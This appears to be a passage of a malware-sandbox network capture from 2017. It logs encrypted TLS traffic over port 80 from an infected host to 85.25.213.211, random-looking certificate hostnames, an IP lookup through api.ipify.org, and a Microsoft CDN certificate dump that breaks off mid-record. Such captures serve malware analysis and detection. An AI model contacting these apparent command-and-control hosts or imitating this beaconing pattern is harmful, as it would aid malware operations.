Nov 27, 2017 12:35:45.252958059 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 e4 60 e6 b2 7e 63 1f 32 7e 2a 0a 92 6f dc ad 5b 40 e1 29 3a 03 f9 92 20 72 5a 26 43 34 4f 87 2d 0e 6a 4f 2d eb cd 92 11 42 ea 1b a7 0c 79 05 b5 cd 42 bc 31 43 b7 fe ea 4c 0b c3 11 7b 06 96 0b b8 1e 0a 0e 27 3a Data Ascii: 'o,2@`~c2~o[@): rZ&C4O-jO-ByB1CL{':p.(Thy`Z%^5lTgh W@K(dP3.Vx35H-MFxV)(~?xN%jOUKp/_J.rR^J-hA=D~2UhFv	10753
Nov 27, 2017 12:35:45.656500101 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 02 1a 00 00 00 00 00 00 00 03 58 9d 71 fc b6 28 89 96 8e 68 56 9a 3b 74 e2 c7 c5 15 a9 3b ae 33 5a 31 1a 6e 05 f6 e2 ee 18 af 02 d7 1e 85 4b a3 c2 70 bf 97 49 b5 8b 12 d3 c8 78 cb 08 b7 e9 b1 f5 03 62 d4 c2 2f 49 b6 25 f0 76 b0 50 03 ef Data Ascii: Xq(hV;t;3Z1nKpIxb/I%vP[u1p4vcT[ZDOZQ_UUOu--:&A)I8j]wsN8cv,6#Re}I)FE*vle6({MSWJ(-Qd`pG<;dxzO3	10772
Nov 27, 2017 12:35:45.701934099 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 0f e8 00 00 00 00 00 00 00 04 39 f1 98 42 0e b2 37 ef 16 54 eb 55 47 ca b9 2b c1 0d ef 6e 0c b8 a2 13 60 57 3a 69 e4 ff da 1f cd b4 bc b9 cd d4 23 67 de 92 27 48 34 ab 74 1b 6e ad 80 1d e6 fe 25 f3 c4 be a0 3d 02 06 4d 85 3b db 28 36 83 Data Ascii: 9B7TUG+n`W:i#g'H4tn%=M;(6}IT}'4\S9/@_WPdS-!ml7g`Zf<6.LzoS&>^Lg&jz{';6""(Bw,>n6,U>/1	10773
Nov 27, 2017 12:35:45.701957941 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: e4 91 bd 9d 47 f9 be b7 ef 5e b3 13 fd 5b 0e 1d fb 24 6d 40 09 61 cc ed 42 5c f0 a8 19 fd 08 7c 1e 2e b9 5e 12 59 ab b1 74 a1 bc c4 37 18 e7 a8 4c 92 3d 68 6a 1e f9 68 af f0 a2 0c c6 05 ec cc 0a 42 cc 88 38 11 ff af e7 8b ae 44 45 35 47 5e 58 e3 Data Ascii: G^[$m@aB\\|.^Yt7L=hjhB8DE5G^XBuqE5!ZlqY?Wb*vTXO(KGXi05\LiM=(F 4>3j4\OPvD@NzYBRs?1 yJNCePG'h{ rM_]	10775
Nov 27, 2017 12:35:45.702228069 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: fc d0 c2 f8 6b 75 ca b4 05 f3 1d 7e 41 ec 6e f4 5e 8a ab 3d 98 7b 02 0d 2c 8c 8d 9a f6 8d 91 a2 27 e7 5b a1 39 8c 1f 00 d5 a3 30 48 f7 6b e4 29 13 7a 24 17 3f c9 1d 3e dc b4 d4 41 3b f7 fb 27 95 bf 3b 89 0b 5f 34 5d 6e bd a4 07 b3 82 d1 0e a6 57 Data Ascii: ku~An^={,'[90Hk)z$?>A;';_4]nWpaR]*`iGq,yEsau"r@iab CB+5>7v3)#_M\]_SzpN%p$IVpZY"Tk4k=EC:T1xI!oJL	10775
Nov 27, 2017 12:35:54.436887026 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 16 03 01 00 b8 01 00 00 b4 03 03 50 1d 5e c6 0a 70 8a b2 29 1f 29 fb 5e af 3f f1 4f 61 33 f4 ca 6f 79 cc 17 56 e2 d8 8b e2 bc c4 00 00 1c c0 2b c0 2f c0 2c c0 30 c0 0a c0 09 c0 13 c0 14 00 33 00 39 00 2f 00 35 00 0a 00 ff 01 00 00 6f 00 00 00 16 Data Ascii: P^p))^?Oa3oyV+/,039/5owww.fezthso3u.com#	11511
Nov 27, 2017 12:35:54.550373077 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 16 03 03 00 3b 02 00 00 37 03 03 b7 38 b0 6c 5f 22 a3 bd 9f db 83 1d 0f ba 65 bc 82 a9 8a 5c cc e6 7d ed 55 6f 8c 09 ff 90 bb 35 00 c0 30 00 00 0f 00 00 00 00 ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 02 4c 0b 00 02 48 00 02 45 00 02 42 30 82 02 Data Ascii: ;78l_"e\}Uo50LHEB0>0Fe{fdY0H0 10Uwww.zdxgglq6dotno.com0170520000000Z180319235959Z010Uwww.dordiroyk7rg.net0"0H0	11512
Nov 27, 2017 12:35:56.833389997 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 16 03 03 00 46 10 00 00 42 41 04 06 c3 b1 60 e5 c2 30 e4 47 f5 cb e8 89 ad 10 23 8f eb f5 89 66 8b 8f c7 29 8c 67 22 2e e6 e2 12 a6 70 38 d3 e5 e0 30 0e b4 fc 21 70 ed 7f 15 20 a7 31 a4 c2 f2 e3 57 1d ce 3e ba 10 f9 0e c6 2f 14 03 03 00 01 01 16 Data Ascii: FBA`0G#f)g".p80!p 1W>/(&!kWS8"SS&e8	11515
Nov 27, 2017 12:35:56.883698940 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 c1 99 b0 98 f0 2f 38 72 af af cb 43 1b 6d 24 ca 81 e9 9a 38 06 ba 67 08 04 8f be 64 92 05 40 06 Data Ascii: (/8rCm$8gd@	11515
Nov 27, 2017 12:35:59.948118925 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 00 23 8a 9e b9 18 be e6 26 ab 01 91 01 7e 09 93 20 c8 60 f7 1b e3 20 c6 5b 5d 4a 77 8b ee b7 f1 d2 50 bb cc 82 Data Ascii: #&~ ` []JwP	11519
Nov 27, 2017 12:36:00.168975115 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 08 03 00 00 00 00 00 00 00 01 de 6d db 6b bd 57 b5 de c0 1c dc ec 27 a4 35 64 8f 31 ad 00 94 7c 2f d4 53 ce 7a 98 d4 9b 2d 3f 8a 86 e4 6a 7a 35 8d c5 d8 61 b4 ca e2 13 3a 30 f0 45 c5 d7 dd 5e f4 a1 62 bd 73 d3 eb 2c 43 0e 3a f5 10 a9 18 Data Ascii: mkW'5d1\|/Sz-?jz5a:0E^bs,C:/fN?E1#RRk2-eDs^Pdsjp-`c@f,H<bQ,y^;L3?lJZ4u}(-)ev/&o\|pM`1ZTV5S)#	11669
Nov 27, 2017 12:36:00.169011116 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 65 ba 23 93 20 9e 8f f5 13 1d 5b 5e a7 98 14 4b 54 f7 1a bf 48 b2 2c a4 21 f7 39 78 05 2a 5d d7 a9 d3 7f 6e b2 1b c1 28 e2 52 cf 3c 10 65 ca c6 81 8b a9 a3 37 b5 99 14 7e 0e 8c d5 d8 51 34 a9 ac c3 b2 57 67 83 e0 f7 82 24 e9 1a c0 3e b7 88 ac 07 Data Ascii: e# [^KTH,!9x*]n(R<e7~Q4Wg$>Lb 6`u6AwuqgehhY#l)C0~&R1zpF(SrH.U?rvt%I,iELC5BU85hS{O.KE4mZu	11669
Nov 27, 2017 12:36:03.637212992 CET	49185	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive	11760
Nov 27, 2017 12:36:03.854702950 CET	80	49185	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:36:03 GMT Content-Length: 13 Via: 1.1 vegur Data Raw: 32 30 34 2e 38 35 2e 31 39 31 2e 33 31 Data Ascii: 204.85.191.31	11760
Nov 27, 2017 12:36:04.311144114 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 04 1c 8a 9e b9 18 be e6 26 ac 47 13 86 98 3c c9 be d2 2b ec 8a 3a 8e 57 87 9c e9 25 1f 4a e3 8b c6 b0 20 08 12 9b 6e 9f 73 b4 12 73 51 b6 30 1f e4 a0 25 7d 30 ab ec aa 66 ce 42 9b 56 55 55 45 dc 22 a9 fe 1f 87 1d f0 d1 2b 73 2c a9 36 17 Data Ascii: &G<+:W%J nssQ0%}0fBVUUE"+s,6N0N=T$5Z4:[vO-\|L[$zdBbPW\|e).h(xe=X\|O\C 9F"Z_!VWd!hLy-j#uY@nz	11761
Nov 27, 2017 12:36:04.458950996 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 02 1a 00 00 00 00 00 00 00 02 fe 0e a8 43 9b d5 0f c7 15 f2 d1 fd bb aa fe b9 bc f2 96 23 1d f4 ad 28 6e 05 81 4e dd 79 31 c7 c3 2a 8b 49 de 26 cf 39 21 8e 96 99 e4 0e 72 5d a3 3b ec 6d 59 6b 65 80 c6 51 02 44 11 df fd a8 6c 74 a2 ba 6b Data Ascii: C#(nNy1*I&9!r];mYkeQDltk5x+2zE3w,1aEE}tt'\|:b\|'i}$P%[#5 PW^!/t"O-32vKN5E.uiC8kw}"`C/^1+YSR	11762
Nov 27, 2017 12:36:04.535749912 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 ad 8a 30 c3 d2 f4 dc f2 ae 80 2c c8 a7 72 59 72 38 4a a1 9f bc cc 4f 4d b1 81 c3 2a 7a ab c0 65 4f 25 af 58 32 ed be 46 b3 eb 74 82 ab d6 de 52 8a eb cc 1a 38 a0 dd 66 db 82 b9 3d b0 4c c0 72 a4 9a 0b 35 b9 65 Data Ascii: &0,rYr8JOM*zeO%X2FtR8f=Lr5e+h W$$ao'7VE&CEwnJ%8D/Xo\U$N4aXg5s%D%P,re&}pqQ8MkLw3tn GlZLgi6nJG	11767
Nov 27, 2017 12:36:04.535885096 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 ae f1 0a 77 54 0c 05 3f 53 11 2f d9 d8 ea 68 1a 79 d0 cc 3c 72 a0 71 67 a9 07 0a 54 84 a2 08 85 d1 57 26 c4 1d 4a 1d 58 8f 85 2c a3 e6 4a bb 5d d9 8c 63 c8 c1 5d dc 74 17 48 6a 38 6c ac 7b 55 0f 91 27 8e 14 8b Data Ascii: &wT?S/hy<rqgTW&JX,J]c]tHj8l{U'?4\+o-n9-~[C,(;kSc-C{.Y&EX0<%RpmT{P1ud=`7(]U,-UItIwH@%gb`iv`xgcNQ'Ypk	11771
Nov 27, 2017 12:36:04.535983086 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 af 89 71 ce aa 02 81 9a e9 20 3a fa 0a ee 98 d7 e4 01 ad 14 13 33 b0 4f 8c 93 df 40 bb d0 0e 5b ee 49 09 0d b1 53 99 fb 97 1d 9c 49 51 be 41 f4 e2 55 c4 b2 f0 f1 8e fd ea 99 96 f6 28 eb 97 23 ef 0b 13 7f 7b ce Data Ascii: &q :3O@[ISIQAU(#{1%"{lw_V<uP!R307JrC~R(]$e5#=jUh'r}<Vwbl*aqB\)d?%U!rFB5G	11775
Nov 27, 2017 12:36:04.537142992 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 b0 2f dc 1e b6 09 e8 c5 4d d5 b6 c9 4c 57 56 d9 11 76 7a 59 5d 56 f2 82 c2 9b 0f df fe 76 14 20 4d 69 19 8f 05 3a 69 06 b1 01 9e 31 02 41 dd cd 08 c0 73 1b cd 65 ca e7 f3 f8 d8 0c 69 c3 f1 59 66 ce 9a cc 54 b6 Data Ascii: &/MLWVvzY]Vv Mi:i1AseiYfT&hBi1Bb~mK?$OgPP.i!Q.37YHDN]5CmyQ%}=OX.[.(JZ&83E=y3B;/XKnv?	11779
Nov 27, 2017 12:36:04.537256002 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 b1 e0 d9 38 34 39 37 19 ad df 11 81 5f 3f 8e cd ac d4 b4 f7 46 14 58 cf 17 7c 8d 7e 88 69 42 40 47 1f 35 dc 16 01 e5 03 b2 81 7b 6d 3b b2 8b 6e 44 17 57 93 12 ba ba 93 6a 30 d4 bc db 7f c9 92 46 c9 a9 c3 32 5b Data Ascii: &8497_?FX\|~iB@G5{m;nDWj0F2[: Q=}Td&Agor)I"]WKBYu\CkK`X`)Z$@)[KV;$K&~aSq.2!6j>Z `	11783
Nov 27, 2017 12:36:04.539484978 CET	49184	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 8a 9e b9 18 be e6 26 b2 bc 0e b0 5e 15 07 f3 3d 01 30 3b 51 85 0d 59 ac 8c b3 67 2f 2d 8c 4d 43 ac 55 45 1a da cb cf f0 b2 27 98 90 a9 cd 7e c7 36 21 6f c9 40 18 a2 de 85 d2 35 8c 2f c2 ee 46 6c 31 6a 19 0d 99 6a af d9 98 4d 53 c2 Data Ascii: &^=0;QYg/-MCUE'~6!o@5/Fl1jjMSN@Nc$raBC'8D9{#~7M0g6^i^3]$k2)k#\|uNby>+h4<M\7~b3[p`\|hH53	11837
Nov 27, 2017 12:36:04.682846069 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 02 1a 00 00 00 00 00 00 00 03 34 38 3f 60 af 46 0b b6 35 64 64 1f 71 50 e0 81 ed 25 23 45 a6 03 c1 48 dd 6b cb 65 e0 ae 64 b3 8a 48 f5 f7 e8 3c 2f 60 bc 0d 65 28 31 54 ae 29 05 2d 3f 89 fb 71 db b3 34 19 4d 85 2c 3e 91 2f e6 4b 97 c1 84 Data Ascii: 48?`F5ddqP%#EHkedH</`e(1T)-?q4M,>/KJ@aL=3Qlq~uBp'qnaVQY>TJhnI8[8@ \>#wN?hirti]Minr(	11967
Nov 27, 2017 12:36:04.759401083 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 0f e8 00 00 00 00 00 00 00 04 1d d8 dc 6c ab 54 7c 47 bf e3 0e ad 48 f5 32 42 d8 a0 e6 1b 43 e9 e6 25 8f dd 9a 5f 90 12 f5 ca 6b f1 59 be e3 a8 8f af 79 a4 84 6c 80 a2 e3 63 c2 99 e1 e4 de 5c 98 6f 97 56 10 fe 76 3f 16 4b 8b f9 60 8e 50 Data Ascii: lT\|GH2BC%_kYylc\oVv?K`Pkopi8GVH& tNk#MG*DPwy+[B'6JO`AE0iiE4TRkLp@Eln[D4ajO#8+=1f[V[OFaqK$ha	11969
Nov 27, 2017 12:36:04.759449959 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 54 69 d6 fc ba 61 ad 32 68 11 b2 ed f0 f9 12 7f 2b 69 c4 fe 6e 57 16 02 14 92 69 f8 fb 52 4a 29 80 20 16 74 c1 21 aa 9d e1 2d 04 f4 30 0f 19 e8 17 af 4f 3c 14 38 51 fe 03 a3 02 c8 f2 35 a7 df 4d c9 19 e5 c3 d4 e5 60 55 f2 16 2c 70 96 72 df 8b 0d Data Ascii: Tia2h+inWiRJ) t!-0O<8Q5M`U,pr<bM^.X2Jb$x.F"h8A`+<\?p]6Oyp C;)I7LA(*BCRI5BZAnS'LT$`gRu<3n#E	11970
Nov 27, 2017 12:36:04.759757996 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: ee 59 67 dd 56 1e c1 86 99 9a 18 56 b9 b3 9d 40 e6 6e 40 67 52 fa 19 bc 32 79 06 2a 12 71 ec c8 40 c9 7b c3 6a 60 8a 33 27 9d 9f a3 71 c6 b7 0d 14 b5 d3 4a 43 52 77 03 e5 fe d6 2d bc 60 0d 0a 78 af 78 4a 57 b4 54 7d a2 49 f2 f7 17 67 34 17 c7 22 Data Ascii: YgVV@n@gR2yq@{j`3'qJCRw-`xxJWT}Ig4"]'CRx?\|K&Y!r FTnc.Q>s`}u\|f+8DYqt&q?c3c,V(c)B5@/>a\q]Z=&[Cz.9\|j2/	11971
Nov 27, 2017 12:36:04.770167112 CET	80	49184	85.25.213.211	192.168.1.91	Data Raw: 8d 57 71 b0 a2 5a 1d b5 ea 53 4a 51 4c 35 ed 13 bc 52 29 fa b5 8c d9 30 d1 81 fe d5 91 6f 96 dc 97 2b 18 97 af 2d a2 bd f1 7a fe cc 73 e5 ee a3 cc ed d4 6b 36 45 ac 2f 5c 90 ab 5c 56 dc e5 d4 04 1c 87 2f 93 d8 2e 75 f8 8c 87 ab de 41 3b d6 38 76 Data Ascii: WqZSJQL5R)0o+-zsk6E/\\V/.uA;8vW'EjX/0w))<KF_!Qk@+]5j]abH&Vsj u{$`o=tQ-fbX3;ExUY4~4g;))%`YQuL	11972

HTTPS Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Subject	Issuer	Not Before	Not After	Raw
Nov 27, 2017 12:34:06.724241018 CET	443	49161	93.184.221.200	192.168.1.91	CN=*.vo.msecnd.net	CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US	Wed Oct 18 03:14:07 CEST 2017	Fri Oct 18 03:14:07 CEST 2019	[[ Version: V3 Subject: CN=.vo.msecnd.net Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26208767019284402778117259353358397522411600707278362331392716714592171320767098134375304649566617054074767592861198475870315038608457695626145954369651761101938607197799069839251527899820658293670685658347470766195028725461139097408312696303528393542969856771517552243773855002615639842726825331948422581104239754648450502448492591942697718855574418675704075914654517076831838176270693215098486369027565108567765693903198494531715675304573103246660618759548244129416711856602393924327461999805279244670830330179930754104299640332791223289214887457914304868858943587237535586399647729616109246115916792216836838200953 public exponent: 65537 Validity: [From: Wed Oct 18 03:14:07 CEST 2017, To: Fri Oct 18 03:14:07 CEST 2019] Issuer: CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US SerialNumber: [ 2d0000d7 ce17b796 1231e7e5 1e000000 00d7ce]Certificate Extensions: 10[1]: ObjectId: 1.3.6.1.4.1.311.21.10 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 1A 30 18 30 0A 06 08 2B 06 01 05 05 07 03 02 ..0.0...+.......0010: 30 0A 06 08 2B 06 01 05 05 07 03 01 0...+.......[2]: ObjectId: 1.3.6.1.4.1.311.21.7 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 31 30 2F 06 27 2B 06 01 04 01 82 37 15 08 87 .10/.'+.....7...0010: DA 86 75 83 EE D9 01 82 C9 85 1B 81 B5 9E 61 85 ..u...........a.0020: F4 EB 60 81 5D 84 D2 DF 42 82 E7 93 7A 02 01 64 ..`.]...B...z..d0030: 02 01 16 ...[3]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://www.microsoft.com/pki/mscorp/Microsoft%20IT%20TLS%20CA%205.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.msocsp.com]][4]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 08 FE 25 9F 74 EA 87 04 C2 BC BB 8E A8 38 5F 33 ..%.t........8_30010: C6 D1 6C 65 ..le]][5]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://mscrl.microsoft.com/pki/mscorp/crl/Microsoft%20IT%20TLS%20CA%205.crl, URIName: http://crl.microsoft.com/pki/mscorp/crl/Microsoft%20IT%20TLS%20CA%205.crl]]][6]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.311.42.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 27 68 74 74 70 3A 2F 2F 77 77 77 2E 6D 69 63 .'http://www.mic0010: 72 6F 73 6F 66 74 2E 63 6F 6D 2F 70 6B 69 2F 6D rosoft.com/pki/m0020: 73 63 6F 72 70 2F 63 70 73 scorp/cps]] ]][7]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ clientAuth serverAuth][8]: ObjectId: 2.5.29.15 Criticality=falseKeyUsage [ DigitalSignature Key_Encipherment Data_Encipherment][9]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .vo.msecnd.net DNSName: .adn.azureedge.net DNSName: .ads2.msads.net DNSName: .aspnetcdn.com DNSName: .azurecomcdn.net DNSName: .azureedge.net DNSName: .azureedge-test.net DNSName: .cdn.skype.com DNSName: .cdn.skype.net DNSName: .cmsresources.windowsphone.com DNSName: .cmsresources.windowsphone-int.com DNSName: .dev.skype.com DNSName: .fms.azureedge.net DNSName: .microsoft-sbs-domains.com DNSName: .secure.skypeassets.com DNSName: .secure.skypeassets.net DNSName: .wac.azureedge.net DNSName: .wpc.azureedge.net DNSName: .ec.azureedge.net DNSName: .wpc.ec.azureedge.net DNSName: .wac.ec.azureedge.net DNSName: .adn.ec.azureedge.net DNSName: .fms.ec.azureedge.net DNSName: ajax.microsoft.com DNSName: cdnads.msads.net DNSName: cdn-resources.windowsphone.com DNSName: cdn-resources-beta.windowsphone.com DNSName: ecnads1.msn.com DNSName: iecvlist.microsoft.com DNSName: images-cms-pn.windowsphone-int.com DNSName: images-cms-tst.windowsphone-int.com DNSName: lumiahelptipscdn.microsoft.com DNSName: lumiahelptipscdnqa.microsoft.com DNSName: lumiahelptipsmscdn.microsoft.com DNSName: lumiahelptipsmscdnqa.microsoft.com DNSName: montage.msn.com DNSName: mscrl.microsoft.com DNSName: r20swj13mr.microsoft.com DNSName: .streaming.mediaservices.windows.net DNSName: .origin.mediaservices.windows.net DNSName: download.sysinternals.com DNSName: amp.azure.net DNSName: rt.ms-studiosmedia.com DNSName: gtm.ms-studiosmedia.com DNSName: .aisvc.visualstudio.com DNSName: .cdn.powerbi.com DNSName: dist.asp.net DNSName: embed.powerbi.com DNSName: msitembed.powerbi.com DNSName: dxtembed.powerbi.com DNSName: .cdn.powerappscdn.net DNSName: downloads.subscriptionsint.tfsallin.net DNSName: download.my.visualstudio.com DNSName: cdn.vsassets.io DNSName: cdnppe.vsassets.io DNSName: stream.microsoft.com DNSName: datafactory.azure.com DNSName: .cortanaanalytics.com DNSName: do.skype.com DNSName: software-download.office.microsoft.com DNSName: software-download.microsoft.com DNSName: prss.centralvalidation.com DNSName: .gallerycdn.vsassets.io DNSName: .gallerycdnppe.vsassets.io DNSName: global.asazure.windows.net DNSName: download.learningdownloadcenter.microsoft.com DNSName: www.videobreakdown.com DNSName: www.breakdown.me DNSName: .gallerycdntest.vsassets.io DNSName: download2.microsoft.com DNSName: cp.dsp.microsoft.com DNSName: agavecdn.o365weve-dev.com DNSName: agavecdn.o365weve-ppe.com DNSName: agavecdn.o365weve.com DNSName: download.visualstudio.com DNSName: .Applicationinsights.net DNSName: .Applicationinsights.io DNSName: .Applicationinsights.microsoft.com DNSName: .sfbassets.com DNSName: .sfbassets.net DNSName: download.mono-project.com DNSName: .streaming.media-test.windows-int.net DNSName: .origin.mediaservices.windows-int.net DNSName: .mp.microsoft.com DNSName: download.visualstudio.microsoft.com DNSName: software-download.coem.microsoft.com DNSName: cdn.wallet.microsoft-ppe.com DNSName: cdn.wallet.microsoft.com DNSName: vi.microsoft.com DNSName: www.videoindexer.ai DNSName: .nuget.org DNSName: .nugettest.org DNSName: cdn.botframework.com DNSName: .streaming.media.azure.net DNSName: .streaming.media.azure-test.net DNSName: natick.research.microsoft.com][10]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 48 44 71 D2 EE BE 77 FF 6E 08 59 1F 5C 86 A4 CE HDq...w.n.Y.\...0010: 44 A2 0D 80 D...]]] Algorithm: [SHA256withRSA] Signature:0000: 8A 9F 94 B8 67 00 3B AA 7D 09 A4 48 26 F0 5D DD ....g.;....H&.].0010: 22 B4 22 5B 5C 99 85 CD F7 11 79 9E 95 FA 64 57 "."[\.....y...dW0020: C3 1E 63 A8 D4 AB 7A B1 25 70 E7 D5 13 B7 DE 26 ..c...z.%p.....&0030: 87 52 89 17 52 17 5D 4A 5F 84 DA 73 18 8E DA 4F .R..R.]J_..s...O0040: 4F B3 D0 CA 88 22 CA 2D A3 26 03 BD 45 12 15 C4 O....".-.&..E...0050: 38 7D A8 9D 58 44 9F 79 7C FF DB 36 FB A3 83 9E 8...XD.y...6....0060: DD B3 39 87 93 2D 30 D0 88 EA D7 C9 7D 47 7C BC ..9..-0......G..0070: 09 07 55 EB 86 27 BF C0 89 67 13 28 D5 83 32 CC ..U..'...g.(..2.0080: C1 70 91 94 01 70 39 A0 54 DD A9 DC 5A 78 F4 AB .p...p9.T...Zx..0090: 11 6C F2 C7 0F 78 22 EF D8 F9 7D A9 69 8C C5 F6 .l...x".....i...00A0: 11 60 D8 4B 4C F8 A6 99 20 87 AA 3F 4C DF 3B 3F .`.KL... ..?L.;?00B0: 86 43 E1 AC 94 94 BB 4F 9C 40 5E B6 EA F3 66 FB .C.....O.@^...f.00C0: 5B 2D 9C 59 10 14 78 B5 80 A2 DF 82 63 18 28 E4 [-.Y..x.....c.(.00D0: A4 D4 31 56 47 5A B0 B2 99 97 E4 BF 6D A8 C7 86 ..1VGZ......m...00E0: 51 5C E2 DE 83 F3 F2 85 65 47 28 FB C6 67 92 94 Q\......eG(..g..00F0: 77 D9 00 16 45 5D DF 3F 45 AA DD 48 13 29 60 58 w...E].?E..H.)`X0100: F3 BC 6B 7E 50 0C F3 1C 27 E9 3F 8A 81 3C A7 F4 ..k.P...'.?..<..0110: 3F 4F 6A 01 7E C6 0F 90 A3 AD 14 87 F5 4E AE E4 ?Oj..........N..0120: 78 84 F0 0A B9 AE 29 2E 63 B8 ED B0 34 60 E0 CD x.....).c...4`..0130: 76 75 2C 02 F1 81 43 19 9D 02 5E E0 E1 7A 95 50 vu,...C...^..z.P0140: 96 21 27 20 59 27 AE F0 9B AF 6E 8C 9A 22 5E 15 .!' Y'....n.."^.0150: F2 28 D7 7B 72 43 E4 12 99 AF 00 DC E9 0F C4 57 .(..rC.........W0160: 99 52 D3 29 C9 BB 87 9A 96 7A C8 E4 D1 63 EE 1A .R.).....z...c..0170: D9 2A 52 9F 1B 76 E9 A5 AA 48 62 F5 FB BF 5F A7 .R..v...Hb..._.0180: AF 32 FE 03 92 26 7C 65 34 B7 0B 55 97 3C 1C 42 .2...&.e4..U.<.B0190: 32 CB B1 68 2B 8F 00 A2 DF 6D EA 21 46 95 65 89 2..h+....m.!F.e.01A0: CA 84 3B 23 B4 D0 10 0B E2 4A 0D 18 E6 D3 88 96 ..;#.....J......01B0: 30 C4 80 21 B9 98 3C 16 6C 13 36 5D DE F2 4D 0C 0..!..<.l.6]..M.01C0: 28 D9 C6 93 67 A6 CD 15 BB 61 A6 23 17 46 A5 A5 (...g....a.#.F..01D0: 7B 58 B3 AD F7 F7 DD F6 D3 93 32 64 8F 31 85 24 .X........2d.1.$01E0: 5D 59 15 8A FE DD 6C 05 F3 F3 5F E6 3F A6 F0 9B ]Y....l..._.?...01F0: 7A 39 19 EF BB CF C5 3E 7C 30 5A 18 17 75 5C 12 z9.....>.0Z..u\.]
Nov 27, 2017 12:34:06.724241018 CET	443	49161	93.184.221.200	192.168.1.91	CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri May 20 14:53:03 CEST 2016	Mon May 20 14:53:03 CEST 2024	[[ Version: V3 Subject: CN=Microsoft IT TLS CA 5, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 4096 bits modulus: 631826991658047990201588343156923501356251764263310517680804792788845991306425582189705297054893416809991246836420600853320630158132395092555744001874385028274098598241691544722745387067820013785344083136430510842090646548739637950323455240391586103965540033375067776271288264262185525537234259701296859276144799348663536584566628031871084208783317752285755739589909003196772580480943453817279757135678201861171945760067180306814219906367127860136813195918585710636011240528202795857461594721378998419335702777432808675773318433891795402383356563693446466864673273656220792757290348837434506541625997219395830309764169808645289536048062814116412510913984549329673123313521014923067210204391484936114714434191538917239426195080700893130139275467528645059022904574216599255435254282964887626988377999418100076895403361431734179784487683895557750818566383277745004201751774884849950716191994942095578396387649191610513828636643239257849457124926026672239115061813274301773747216824821947472389795993369286226715347556734378745934242690882760115899432572596271846379778940745025261796604422799917501090138186796374903469905558133584389429220187119121087952509616454230133308537513770786678627470767639789286021109955974024923977465330187 public exponent: 65537 Validity: [From: Fri May 20 14:53:03 CEST 2016, To: Mon May 20 14:53:03 CEST 2024] Issuer: CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE SerialNumber: [ 0888cd52 5f192444 4d14a582 91deb952]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: E5 9D 59 30 82 47 58 CC AC FA 08 54 36 86 7B 3A ..Y0.GX....T6..:0010: B5 04 4D F0 ..M.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ 